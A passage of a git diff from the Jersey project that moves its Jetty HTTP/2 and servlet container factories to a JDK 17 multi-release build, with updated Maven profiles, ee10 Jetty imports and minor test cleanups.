-            final ALPNServerConnectionFactory alpn = new ALPNServerConnectionFactory();
-            alpn.setDefaultProtocol("h2");
-            factories.add(new SslConnectionFactory(sslContextFactory, alpn.getProtocol()));
-            factories.add(alpn);
-        } else {
-            factories.add(new HTTP2CServerConnectionFactory(config));
+    private static void validateJdk() {
+        if (JdkVersion.getJdkVersion().getMajor() < 17) {
+            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
         }
-
-        return factories;
     }
 }
diff --git a/containers/jetty-http2/src/main/java17/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java b/containers/jetty-http2/src/main/java17/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
new file mode 100644
index 0000000..b03f409
--- /dev/null
+++ b/containers/jetty-http2/src/main/java17/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
@@ -0,0 +1,217 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import org.eclipse.jetty.alpn.server.ALPNServerConnectionFactory;
+import org.eclipse.jetty.http2.server.HTTP2CServerConnectionFactory;
+import org.eclipse.jetty.http2.server.HTTP2ServerConnectionFactory;
+import org.eclipse.jetty.server.ConnectionFactory;
+import org.eclipse.jetty.server.Connector;
+import org.eclipse.jetty.server.HttpConfiguration;
+import org.eclipse.jetty.server.HttpConnectionFactory;
+import org.eclipse.jetty.server.Server;
+import org.eclipse.jetty.server.ServerConnector;
+import org.eclipse.jetty.server.SslConnectionFactory;
+import org.eclipse.jetty.util.ssl.SslContextFactory;
+import org.glassfish.jersey.jetty.JettyHttpContainer;
+import org.glassfish.jersey.jetty.JettyHttpContainerFactory;
+import org.glassfish.jersey.jetty.JettyHttpContainerProvider;
+import org.glassfish.jersey.server.ContainerFactory;
+import org.glassfish.jersey.server.ResourceConfig;
+
+import jakarta.ws.rs.ProcessingException;
+import java.net.URI;
+import java.util.ArrayList;
+import java.util.List;
+
+public final class JettyHttp2ContainerFactory {
+
+    private JettyHttp2ContainerFactory() {
+
+    }
+
+    /**
+     * Creates HTTP/2 enabled  {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
+     *
+     * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
+     *            segment will be used as context path, the rest will be ignored.
+     * @return newly created {@link Server}.
+     *
+     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
+     * @throws IllegalArgumentException if {@code uri} is {@code null}.
+     */
+    public static Server createHttp2Server(final URI uri) throws ProcessingException {
+        return createHttp2Server(uri, null, null, true);
+    }
+
+    /**
+     * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+     * in turn manages all root resource and provider classes declared by the
+     * resource configuration.
+     * <p/>
+     * This implementation defers to the
+     * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
+     * for creating an Container that manages the root resources.
+     *
+     * @param uri           URI on which the Jersey web application will be deployed. Only first path segment will be
+     *                      used as context path, the rest will be ignored.
+     * @param configuration web application configuration.
+     * @param start         if set to false, server will not get started, which allows to configure the underlying
+     *                      transport layer, see above for details.
+     * @return newly created {@link Server}.
+     *
+     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
+     * @throws IllegalArgumentException if {@code uri} is {@code null}.
+     */
+    public static Server createHttp2Server(final URI uri, final ResourceConfig configuration, final boolean start)
+            throws ProcessingException {
+        return createHttp2Server(uri, null,
+                ContainerFactory.createContainer(JettyHttpContainer.class, configuration), start);
+    }
+
+    /**
+     * Creates HTTP/2 enabled  {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
+     *
+     * @param uri   uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
+     *              segment will be used as context path, the rest will be ignored.
+     * @param start if set to false, server will not get started, which allows to configure the underlying transport
+     *              layer, see above for details.
+     * @return newly created {@link Server}.
+     *
+     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
+     * @throws IllegalArgumentException if {@code uri} is {@code null}.
+     *
+     * @since 2.40
+     */
+
+    public static Server createHttp2Server(final URI uri, final boolean start) throws ProcessingException {
+        return createHttp2Server(uri, null, null, start);
+    }
+
+    /**
+     * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+     * in turn manages all root resource and provider classes declared by the
+     * resource configuration.
+     *
+     * @param uri           the URI to create the http server. The URI scheme must be
+     *                      equal to "https". The URI user information and host
+     *                      are ignored If the URI port is not present then port 143 will be
+     *                      used. The URI path, query and fragment components are ignored.
+     * @param config        the resource configuration.
+     * @param parentContext DI provider specific context with application's registered bindings.
+     * @param start         if set to false, server will not get started, this allows end users to set
+     *                      additional properties on the underlying listener.
+     * @return newly created {@link Server}.
+     *
+     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
+     * @throws IllegalArgumentException if {@code uri} is {@code null}.
+     * @see JettyHttpContainer
+     *
+     * @since 2.40
+     */
+    public static Server createHttp2Server(final URI uri, final ResourceConfig config, final boolean start,
+                                           final Object parentContext) {
+        return createHttp2Server(uri, null,
+                new JettyHttpContainerProvider().createContainer(JettyHttpContainer.class,
+                        config, parentContext), start);
+    }
+
+    /**
+     * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+     * in turn manages all root resource and provider classes found by searching the
+     * classes referenced in the java classpath.
+     *
+     * @param uri               the URI to create the http server. The URI scheme must be
+     *                          equal to {@code https}. The URI user information and host
+     *                          are ignored. If the URI port is not present then port
+     *                          {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be
+     *                          used. The URI path, query and fragment components are ignored.
+     * @param sslContextFactory this is the SSL context factory used to configure SSL connector
+     * @param handler           the container that handles all HTTP requests
+     * @param start             if set to false, server will not get started, this allows end users to set
+     *                          additional properties on the underlying listener.
+     * @return newly created {@link Server}.
+     *
+     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
+     * @throws IllegalArgumentException if {@code uri} is {@code null}.
+     * @see JettyHttpContainer
+     *
+     * @since 2.40
+     */
+    public static Server createHttp2Server(final URI uri,
+                                           final SslContextFactory.Server sslContextFactory,
+                                           final JettyHttpContainer handler,
+                                           final boolean start) {
+
+        /**
+         * Creating basic Jetty HTTP/1.1 container (but always not started)
+         */
+        final Server server = JettyHttpContainerFactory.createServer(uri, sslContextFactory, handler, false);
+        /**
+         * Obtain configured HTTP connection factory
+         */
+        final ServerConnector httpServerConnector = (ServerConnector) server.getConnectors()[0];
+        final HttpConnectionFactory httpConnectionFactory = httpServerConnector.getConnectionFactory(HttpConnectionFactory.class);
+
+        /**
+         * Obtain prepared config
+         */
+        final HttpConfiguration config = httpConnectionFactory.getHttpConfiguration();
+
+        /**
+         * Add required H2/H2C connection factories using pre-configured config from the HTTP/1.1 server
+         */
+        final List<ConnectionFactory> factories = getConnectionFactories(config, sslContextFactory);
+
+        /**
+         * adding connection factories for H2/H2C protocol
+         */
+        for (final ConnectionFactory factory : factories) {
+            httpServerConnector.addConnectionFactory(factory);
+        }
+        server.setConnectors(new Connector[]{httpServerConnector});
+
+        /**
+         * Starting the server if required
+         */
+        if (start) {
+            try {
+                // Start the server.
+                server.start();
+            } catch (final Exception e) {
+                throw new ProcessingException(LocalizationMessages.ERROR_WHEN_CREATING_SERVER(), e);
+            }
+        }
+        return server;
+    }
+
+    private static List<ConnectionFactory> getConnectionFactories(final HttpConfiguration config,
+                                                                  final SslContextFactory.Server sslContextFactory) {
+        final List<ConnectionFactory> factories = new ArrayList<>();
+        if (sslContextFactory != null) {
+            factories.add(new HTTP2ServerConnectionFactory(config));
+            final ALPNServerConnectionFactory alpn = new ALPNServerConnectionFactory();
+            alpn.setDefaultProtocol("h2");
+            factories.add(new SslConnectionFactory(sslContextFactory, alpn.getProtocol()));
+            factories.add(alpn);
+        } else {
+            factories.add(new HTTP2CServerConnectionFactory(config));
+        }
+
+        return factories;
+    }
+}
diff --git a/containers/jetty-http2/src/main/java8/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java b/containers/jetty-http2/src/main/java8/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
deleted file mode 100644
index 6b148ed..0000000
--- a/containers/jetty-http2/src/main/java8/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
+++ /dev/null
@@ -1,75 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2;
-
-import org.eclipse.jetty.server.Server;
-import org.eclipse.jetty.util.ssl.SslContextFactory;
-
-import org.glassfish.jersey.internal.util.JdkVersion;
-import org.glassfish.jersey.jetty.JettyHttpContainer;
-import org.glassfish.jersey.jetty.http2.LocalizationMessages;
-import org.glassfish.jersey.server.ContainerFactory;
-import org.glassfish.jersey.server.ResourceConfig;
-
-import jakarta.ws.rs.ProcessingException;
-import java.net.URI;
-import java.util.ArrayList;
-import java.util.List;
-
-public final class JettyHttp2ContainerFactory {
-
-    private JettyHttp2ContainerFactory() {
-
-    }
-
-    public static Server createHttp2Server(final URI uri) throws ProcessingException {
-        validateJdk();
-        return null; // does not work at JDK 1.8
-    }
-
-    public static Server createHttp2Server(final URI uri, final ResourceConfig configuration, final boolean start)
-            throws ProcessingException {
-        validateJdk();
-        return null; // does not work at JDK 1.8
-    }
-
-    public static Server createHttp2Server(final URI uri, final boolean start) throws ProcessingException {
-        validateJdk();
-        return null; // does not work at JDK 1.8
-    }
-
-    public static Server createHttp2Server(final URI uri, final ResourceConfig config, final boolean start,
-                                           final Object parentContext) {
-        validateJdk();
-        return null; // does not work at JDK 1.8
-    }
-
-    public static Server createHttp2Server(final URI uri,
-                                           final SslContextFactory.Server sslContextFactory,
-                                           final JettyHttpContainer handler,
-                                           final boolean start) {
-
-        validateJdk();
-        return null; // does not work at JDK 1.8
-    }
-
-    private static void validateJdk() {
-        if (JdkVersion.getJdkVersion().getMajor() < 11) {
-            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-        }
-    }
-}
diff --git a/containers/jetty-http2/src/main/resources/org/glassfish/jersey/jetty/http2/localization.properties b/containers/jetty-http2/src/main/resources/org/glassfish/jersey/jetty/http2/localization.properties
index 9807184..ba290bd 100644
--- a/containers/jetty-http2/src/main/resources/org/glassfish/jersey/jetty/http2/localization.properties
+++ b/containers/jetty-http2/src/main/resources/org/glassfish/jersey/jetty/http2/localization.properties
@@ -16,4 +16,4 @@
 
 # {0} - status code; {1} - status reason message
 error.when.creating.server=Exception thrown when trying to create jetty server.
-not.supported=Jetty container is not supported on JDK version less than 11.
\ No newline at end of file
+not.supported=Jetty container is not supported on JDK version less than 17.
\ No newline at end of file
diff --git a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AbstractJettyServerTester.java b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AbstractJettyServerTester.java
index 6134d03..d3a68a8 100644
--- a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AbstractJettyServerTester.java
+++ b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AbstractJettyServerTester.java
@@ -89,7 +89,7 @@
         return UriBuilder.fromUri("http://localhost").port(getPort(RuntimeType.CLIENT)).path(CONTEXT);
     }
 
-    public void startServer(Class... resources) {
+    public void startServer(Class<?>... resources) {
         ResourceConfig config = new ResourceConfig(resources);
         config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
         final URI baseUri = getBaseUri();
diff --git a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AsyncTest.java b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AsyncTest.java
index ac1ebb5..7828d9b 100644
--- a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AsyncTest.java
+++ b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AsyncTest.java
@@ -45,7 +45,6 @@
 public class AsyncTest extends AbstractJettyServerTester {
 
     @Path("/async")
-    @SuppressWarnings("VoidMethodAnnotatedWithGET")
     public static class AsyncResource {
 
         public static AtomicInteger INVOCATION_COUNT = new AtomicInteger(0);
diff --git a/containers/jetty-servlet/pom.xml b/containers/jetty-servlet/pom.xml
index 73f1f69..f8e6ac0 100644
--- a/containers/jetty-servlet/pom.xml
+++ b/containers/jetty-servlet/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.containers</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-container-jetty-servlet</artifactId>
@@ -32,6 +32,13 @@
 
     <description>Jetty Servlet Container</description>
 
+    <properties>
+        <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory>
+        <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
+        <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory>
+        <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory>
+    </properties>
+
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
@@ -46,7 +53,21 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
+        </dependency>
+        <dependency>
+            <groupId>org.eclipse.jetty.ee10</groupId>
+            <artifactId>jetty-ee10-webapp</artifactId>
+            <exclusions>
+                <exclusion>
+                    <groupId>org.slf4j</groupId>
+                    <artifactId>slf4j-api</artifactId>
+                </exclusion>
+            </exclusions>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.containers</groupId>
+            <artifactId>jersey-container-jetty-http</artifactId>
+            <version>${project.version}</version>
         </dependency>
     </dependencies>
 
@@ -76,108 +97,54 @@
         </plugins>
     </build>
 
-    <properties>
-        <java8.build.outputDirectory>${project.basedir}/target</java8.build.outputDirectory>
-        <java8.sourceDirectory>${project.basedir}/src/main/java8</java8.sourceDirectory>
-        <java11.build.outputDirectory>${project.basedir}/target11</java11.build.outputDirectory>
-        <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
-        <jetty.javax.version>${jetty9.version}</jetty.javax.version>
-    </properties>
-
     <profiles>
         <profile>
             <id>JettyExclude</id>
             <activation>
-                <jdk>1.8</jdk>
+                <jdk>[11,17)</jdk>
             </activation>
             <dependencies>
                 <dependency>
                     <groupId>org.eclipse.jetty</groupId>
+                    <artifactId>jetty-webapp</artifactId>
+                    <version>${jetty11.version}</version>
+                    <scope>provided</scope>
+                    <exclusions>
+                        <exclusion>
+                            <groupId>org.slf4j</groupId>
+                            <artifactId>slf4j-api</artifactId>
+                        </exclusion>
+                    </exclusions>
+                </dependency>
+                <dependency>
+                    <groupId>org.eclipse.jetty.ee10</groupId>
+                    <artifactId>jetty-ee10-webapp</artifactId>
+                    <scope>provided</scope>
+                    <exclusions>
+                        <exclusion>
+                            <groupId>*</groupId>
+                            <artifactId>*</artifactId>
+                        </exclusion>
+                    </exclusions>
+                </dependency>
+                <dependency>
+                    <groupId>org.eclipse.jetty</groupId>
                     <artifactId>jetty-server</artifactId>
-                    <version>${jetty.javax.version}</version>
+                    <version>${jetty11.version}</version>
                     <scope>provided</scope>
                 </dependency>
                 <dependency>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>jetty-webapp</artifactId>
-                    <version>${jetty.javax.version}</version>
+                    <groupId>org.glassfish.jersey.containers</groupId>
+                    <artifactId>jersey-container-jetty-http</artifactId>
+                    <version>${project.version}</version>
                     <scope>provided</scope>
                     <exclusions>
                         <exclusion>
                             <groupId>org.eclipse.jetty</groupId>
                             <artifactId>jetty-server</artifactId>
                         </exclusion>
-                        <exclusion>
-                            <groupId>org.slf4j</groupId>
-                            <artifactId>slf4j-api</artifactId>
-                        </exclusion>
                     </exclusions>
                 </dependency>
-                <dependency>
-                    <groupId>org.glassfish.jersey.containers</groupId>
-                    <artifactId>jersey-container-jetty-http</artifactId>
-                    <version>${project.version}</version>
-                    <exclusions>
-                        <exclusion>
-                            <groupId>org.eclipse.jetty</groupId>
-                            <artifactId>jetty-server</artifactId>
-                        </exclusion>
-                    </exclusions>
-                </dependency>
-            </dependencies>
-            <build>
-                <directory>${java8.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java8.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-compiler-plugin</artifactId>
-                        <configuration>
-                            <testExcludes>
-                                <testExclude>org/glassfish/jersey/jetty/*.java</testExclude>
-                            </testExcludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>Jetty11</id>
-            <activation>
-                <jdk>[11,)</jdk>
-            </activation>
-            <dependencies>
-                <dependency>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>jetty-webapp</artifactId>
-                    <exclusions>
-                        <exclusion>
-                            <groupId>org.slf4j</groupId>
-                            <artifactId>slf4j-api</artifactId>
-                        </exclusion>
-                    </exclusions>
-                </dependency>
-                <dependency>
-                    <groupId>org.glassfish.jersey.containers</groupId>
-                    <artifactId>jersey-container-jetty-http</artifactId>
-                    <version>${project.version}</version>
-                </dependency>
             </dependencies>
             <build>
                 <directory>${java11.build.outputDirectory}</directory>
@@ -203,13 +170,41 @@
             </build>
         </profile>
         <profile>
-            <id>copyJDK11FilesToMultiReleaseJar</id>
+            <id>JettyInclude</id>
+            <activation>
+                <jdk>[17,)</jdk>
+            </activation>
+            <build>
+                <directory>${java17.build.outputDirectory}</directory>
+                <plugins>
+                    <plugin>
+                        <groupId>org.codehaus.mojo</groupId>
+                        <artifactId>build-helper-maven-plugin</artifactId>
+                        <executions>
+                            <execution>
+                                <phase>generate-sources</phase>
+                                <goals>
+                                    <goal>add-source</goal>
+                                </goals>
+                                <configuration>
+                                    <sources>
+                                        <source>${java17.sourceDirectory}</source>
+                                    </sources>
+                                </configuration>
+                            </execution>
+                        </executions>
+                    </plugin>
+                </plugins>
+            </build>
+        </profile>
+        <profile>
+            <id>copyJDK17FilesToMultiReleaseJar</id>
             <activation>
                 <file>
-                    <!-- ${java11.build.outputDirectory} does not work here -->
-                    <exists>target11/classes/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.class</exists>
+                    <!-- ${java17.build.outputDirectory} does not work here -->
+                    <exists>target17/classes/org/glassfish/jersey/jetty/JettyWebContainerFactory.class</exists>
                 </file>
-                <jdk>1.8</jdk>
+                <jdk>[11,17)</jdk>
             </activation>
             <build>
                 <plugins>
@@ -230,16 +225,16 @@
                         <inherited>true</inherited>
                         <executions>
                             <execution>
-                                <id>copy-jdk11-classes</id>
+                                <id>copy-jdk17-classes</id>
                                 <phase>prepare-package</phase>
                                 <goals>
                                     <goal>copy-resources</goal>
                                 </goals>
                                 <configuration>
-                                    <outputDirectory>${java8.build.outputDirectory}/classes/META-INF/versions/11</outputDirectory>
+                                    <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory>
                                     <resources>
                                         <resource>
-                                            <directory>${java11.build.outputDirectory}/classes</directory>
+                                            <directory>${java17.build.outputDirectory}/classes</directory>
                                         </resource>
                                     </resources>
                                 </configuration>
@@ -251,14 +246,14 @@
                         <artifactId>maven-antrun-plugin</artifactId>
                         <executions>
                             <execution>
-                                <id>copy-jdk11-sources</id>
+                                <id>copy-jdk17-sources</id>
                                 <phase>package</phase>
                                 <configuration>
                                     <target>
-                                        <property name="sources-jar" value="${java8.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
+                                        <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
                                         <echo>sources-jar: ${sources-jar}</echo>
                                         <zip destfile="${sources-jar}" update="true">
-                                            <zipfileset dir="${java11.sourceDirectory}" prefix="META-INF/versions/11"/>
+                                            <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/>
                                         </zip>
                                     </target>
                                 </configuration>
@@ -272,4 +267,5 @@
             </build>
         </profile>
     </profiles>
+
 </project>
diff --git a/containers/jetty-servlet/src/main/java11/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java b/containers/jetty-servlet/src/main/java11/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java
index 7f46e7b..afbec62 100644
--- a/containers/jetty-servlet/src/main/java11/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java
+++ b/containers/jetty-servlet/src/main/java11/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,21 +16,15 @@
 
 package org.glassfish.jersey.jetty.servlet;
 
+import jakarta.servlet.Servlet;
+import jakarta.ws.rs.ProcessingException;
+import org.eclipse.jetty.server.Server;
+import org.glassfish.jersey.jetty.internal.LocalizationMessages;
+import org.glassfish.jersey.servlet.ServletContainer;
+
 import java.net.URI;
 import java.util.Map;
 
-import jakarta.servlet.Servlet;
-
-import org.glassfish.jersey.jetty.JettyHttpContainerFactory;
-import org.glassfish.jersey.servlet.ServletContainer;
-import org.glassfish.jersey.uri.UriComponent;
-
-import org.eclipse.jetty.server.Server;
-import org.eclipse.jetty.servlet.ServletHolder;
-import org.eclipse.jetty.webapp.Configuration;
-import org.eclipse.jetty.webapp.WebAppContext;
-import org.eclipse.jetty.webapp.WebXmlConfiguration;
-
 /**
  * Factory for creating and starting Jetty {@link Server} instances
  * for deploying a Servlet.
@@ -216,46 +210,7 @@
     private static Server create(URI u, Class<? extends Servlet> c, Servlet servlet,
                                  Map<String, String> initParams, Map<String, String> contextInitParams)
             throws Exception {
-        if (u == null) {
-            throw new IllegalArgumentException("The URI must not be null");
-        }
-
-        String path = u.getPath();
-        if (path == null) {
-            throw new IllegalArgumentException("The URI path, of the URI " + u + ", must be non-null");
-        } else if (path.isEmpty()) {
-            throw new IllegalArgumentException("The URI path, of the URI " + u + ", must be present");
-        } else if (path.charAt(0) != '/') {
-            throw new IllegalArgumentException("The URI path, of the URI " + u + ". must start with a '/'");
-        }
-
-        path = String.format("/%s", UriComponent.decodePath(u.getPath(), true).get(1).toString());
-        WebAppContext context = new WebAppContext();
-        context.setDisplayName("JettyContext");
-        context.setContextPath(path);
-        context.setConfigurations(new Configuration[]{new WebXmlConfiguration()});
-        ServletHolder holder;
-        if (c != null) {
-            holder = context.addServlet(c, "/*");
-        } else {
-            holder = new ServletHolder(servlet);
-            context.addServlet(holder, "/*");
-        }
-
-        if (contextInitParams != null) {
-            for (Map.Entry<String, String> e : contextInitParams.entrySet()) {
-                context.setInitParameter(e.getKey(), e.getValue());
-            }
-        }
-
-        if (initParams != null) {
-            holder.setInitParameters(initParams);
-        }
-
-        Server server = JettyHttpContainerFactory.createServer(u, false);
-        server.setHandler(context);
-        server.start();
-        return server;
+        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
     }
 
     /**
@@ -281,4 +236,4 @@
         }
         return create(u, null, servlet, initParams, contextInitParams);
     }
-}
+}
\ No newline at end of file
diff --git a/containers/jetty-servlet/src/main/java17/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java b/containers/jetty-servlet/src/main/java17/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java
new file mode 100644
index 0000000..5ada3ed
--- /dev/null
+++ b/containers/jetty-servlet/src/main/java17/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.servlet;
+
+import java.net.URI;
+import java.util.Map;
+
+import jakarta.servlet.Servlet;
+
+import org.glassfish.jersey.jetty.JettyHttpContainerFactory;
+import org.glassfish.jersey.servlet.ServletContainer;
+import org.glassfish.jersey.uri.UriComponent;
+
+import org.eclipse.jetty.server.Server;
+import org.eclipse.jetty.ee10.servlet.ServletHolder;
+import org.eclipse.jetty.ee10.webapp.Configuration;
+import org.eclipse.jetty.ee10.webapp.WebAppContext;
+import org.eclipse.jetty.ee10.webapp.WebXmlConfiguration;
+
+/**
+ * Factory for creating and starting Jetty {@link Server} instances
+ * for deploying a Servlet.
+ * <p/>
+ * The default deployed server is an instance of {@link ServletContainer}.
+ * <p/>
+ * If no initialization parameters are declared (or is null) then root
+ * resource and provider classes will be found by searching the classes
+ * referenced in the java classpath.
+ *
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ */
+public final class JettyWebContainerFactory {
+
+    private JettyWebContainerFactory() {
+    }
+
+    /**
+     * Create a {@link Server} that registers the {@link ServletContainer}.
+     *
+     * @param u the URI to create the http server. The URI scheme must be
+     *          equal to "http". The URI user information and host
+     *          are ignored If the URI port is not present then port 80 will be
+     *          used. The URI query and fragment components are ignored. Only first path segment will be used
+     *          as context path, the rest will be ignored.
+     * @return the http server, with the endpoint started.
+     * @throws Exception                if an error occurs creating the container.
+     * @throws IllegalArgumentException if HTTP server URI is {@code null}.
+     */
+    public static Server create(String u)
+            throws Exception {
+        if (u == null) {
+            throw new IllegalArgumentException("The URI must not be null");
+        }
+
+        return create(URI.create(u));
+    }
+
+    /**
+     * Create a {@link Server} that registers the {@link ServletContainer}.
+     *
+     * @param u          the URI to create the http server. The URI scheme must be
+     *                   equal to "http". The URI user information and host
+     *                   are ignored If the URI port is not present then port 80 will be
+     *                   used. The URI query and fragment components are ignored. Only first path segment will be used
+     *                   as context path, the rest will be ignored.
+     * @param initParams the servlet initialization parameters.
+     * @return the http server, with the endpoint started.
+     * @throws Exception                if an error occurs creating the container.
+     * @throws IllegalArgumentException if HTTP server URI is {@code null}.
+     */
+    public static Server create(String u, Map<String, String> initParams)
+            throws Exception {
+        if (u == null) {
+            throw new IllegalArgumentException("The URI must not be null");
+        }
+
+        return create(URI.create(u), initParams);
+    }
+
+    /**
+     * Create a {@link Server} that registers the {@link ServletContainer}.
+     *
+     * @param u the URI to create the http server. The URI scheme must be
+     *          equal to "http". The URI user information and host
+     *          are ignored If the URI port is not present then port 80 will be
+     *          used. The URI query and fragment components are ignored. Only first path segment will be used
+     *          as context path, the rest will be ignored.
+     * @return the http server, with the endpoint started.
+     * @throws Exception                if an error occurs creating the container.
+     * @throws IllegalArgumentException if HTTP server URI is {@code null}.
+     */
+    public static Server create(URI u)
+            throws Exception {
+        return create(u, ServletContainer.class);
+    }
+
+    /**
+     * Create a {@link Server} that registers the {@link ServletContainer}.
+     *
+     * @param u          the URI to create the http server. The URI scheme must be
+     *                   equal to "http". The URI user information and host
+     *                   are ignored If the URI port is not present then port 80 will be
+     *                   used. The URI query and fragment components are ignored. Only first path segment will be used
+     *                   as context path, the rest will be ignored.
+     * @param initParams the servlet initialization parameters.
+     * @return the http server, with the endpoint started.
+     * @throws Exception                if an error occurs creating the container.
+     * @throws IllegalArgumentException if HTTP server URI is {@code null}.
+     */
+    public static Server create(URI u, Map<String, String> initParams)
+            throws Exception {
+        return create(u, ServletContainer.class, initParams);
+    }
+
+    /**
+     * Create a {@link Server} that registers the declared
